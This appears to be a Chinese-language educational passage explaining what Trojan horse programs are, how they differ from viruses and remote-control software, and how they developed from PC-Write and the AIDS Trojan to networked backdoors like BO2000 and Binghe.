确切地说,"木马"是一种经过伪装的欺骗性程序,它通过将自身伪装吸引用户下载执行,从而破坏或窃取使用者的重要文件和资料。

木马程序与一般的病毒不同,它不会自我繁殖,也并不"刻意"地去感染其他文件,它的主要作用是向施种木马者打开被种者电脑的门户,使对方可以任意毁坏、窃取你的文件,甚至远程操控你的电脑。

木马与计算机网络中常常要用到的远程控制软件是有区别的。

虽然二者在主要功能上都可以实现远程控制,但由于远程控制软件是"善意"的控制,因此通常不具有隐蔽性。

木马则完全相反,木马要达到的正是"偷窃"性的远程控制,因此如果没有很强的隐蔽性的话,那么木马简直就是"毫无价值"的。

一个完整的"木马"程序包含了两部分:"服务器"和"控制器"。

植入你的电脑的是它的"服务器"部分,而所谓的"黑客"正是利用"控制器"进入运行了"服务器"的电脑。

众所周知,基于TCP/IP协议接入互联网的电脑有0到65535共256×256个端口。

通常我们上网的时候,电脑通过80端口与外界保持联系。

运行了木马程序的"服务器"以后,你的电脑就会有另一个或几个端口被打开,使黑客可以利用这些打开的端口进入你的系统,你的系统安全和个人隐私也就全无保障了!1.1木马发展历史计算机世界中的特洛伊木马的名字由《荷马史诗》的特洛伊战记得来。

故事说的是希腊人围攻特洛伊城十年后仍不能得手,于是阿迦门农受雅典娜的启发:把士兵藏匿于巨大无比的木马中,然后佯作退兵。

当特洛伊人将木马作为战利品拖入城内时,高大的木马正好卡在城门间,进退两难。

夜晚木马内的士兵爬出来,与城外的部队里应外合而攻下了特洛伊城。

而计算机世界的特洛伊木马(Trojan)是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击等特殊功能的后门程序。

? 第一代木马:伪装型病毒这种病毒通过伪装成一个合法性程序诱骗用户上当。

世界上第一个计算机木马是出现在1986年的PC-Write木马。

它伪装成共享软件PC-Write的2.72版本(事实上,编写PC-Write的Quicksoft公司从未发行过2.72版本),一旦用户信以为真运行该木马程序,那么他的下场就是硬盘被格式化。

在我刚刚上大学的时候,曾听说我校一个前辈牛人在WAX机房上用BASIC 作了一个登录界面木马程序,当你把你的用户ID,密码输入一个和正常的登录界面一模一样的伪登录界面后后,木马程序一面保存你的ID,和密码,一面提示你密码错误让你重新输入,当你第二次登录时,你已成了木马的牺牲品。

此时的第一代木马还不具备传染特征。

? 第二代木马:邮件型木马继PC-Write之后,1989年出现了AIDS木马。

由于当时很少有人使用电子邮件,所以AIDS 的作者就利用现实生活中的邮件进行散播:给其他人寄去一封封含有木马程序软盘的邮件。

之所以叫这个名称是因为软盘中包含有AIDS和HIV疾病的药品,价格,预防措施等相关信息。

软盘中的木马程序在运行后,虽然不会破坏数据,但是他将硬盘加密锁死,然后提示受感染用户花钱消灾。

可以说第二代木马已具备了传播特征(尽管通过传统的邮递方式)。

? 第三代木马:网络传播性木马随着Internet的普及,这一代木马兼备伪装和传播两种特征并结合TCP/IP网络技术四处泛滥。

同时他还有新的特征:第一,添加了"后门"功能。

所谓后门就是一种可以为计算机系统秘密开启访问入口的程序。

一旦被安装,这些程序就能够使攻击者绕过安全程序进入系统。

该功能的目的就是收集系统中的重要信息,例如,财务报告、口令及信用卡号。

此外,攻击者还可以利用后门控制系统,使之成为攻击其它计算机的帮凶。

由于后门是隐藏在系统背后运行的,因此很难被检测到。

它们不像病毒和蠕虫那样通过消耗内存而引起注意。

第二,添加了击键记录功能。

从名称上就可以知道,该功能主要是记录用户所有的击键内容然后形成击键记录的日志文件发送给恶意用户。

恶意用户可以从中找到用户名、口令以及信用卡号等用户信息。

这一代木马比较有名的有国外的BO2000(BackOrifice)和国内的冰河木马。

它们有如下共同特点:基于网络的客户端/服务器应用程序。

具有搜集信息、执行系统命令、重新设置机器、重新定向等功能。

当木马程序攻击得手后,计算机就完全在黑客控制的傀儡主机,黑客成了超级用户,用户的所有计算机操作不但没有任何秘密而言,而且黑客可以远程控制傀儡主机对别的主机发动攻击,这时候背俘获的傀儡主机成了黑客进行进一步攻击的挡箭牌和跳板。

1.2国内木马发展趋势自BO、冰河诞生以来,国内的木马历史便正式展开了,下面我们以技术的发展突破作为界限,分别说说他们的历史和发展趋势。

? 后台运行程序早期的特洛伊木马后门先驱可以追溯到1997年那个网络在国内还未大量普及的时代,在当时,初期阶段的特洛伊木马技术在国外早已热火朝天,而国内众多用户却还在用着拨号上网偶尔浏览新闻和下载文件,只有少数用户知道并研究外国传入的英文界面特洛伊木马程序BO、SubSeven等,木马技术始终属于少数人手里的"高科技"入侵工具,直到国产木马"冰河"的出现和随后的几个版本升级,才标志着国内用户迎来了网络木马的混沌时代。

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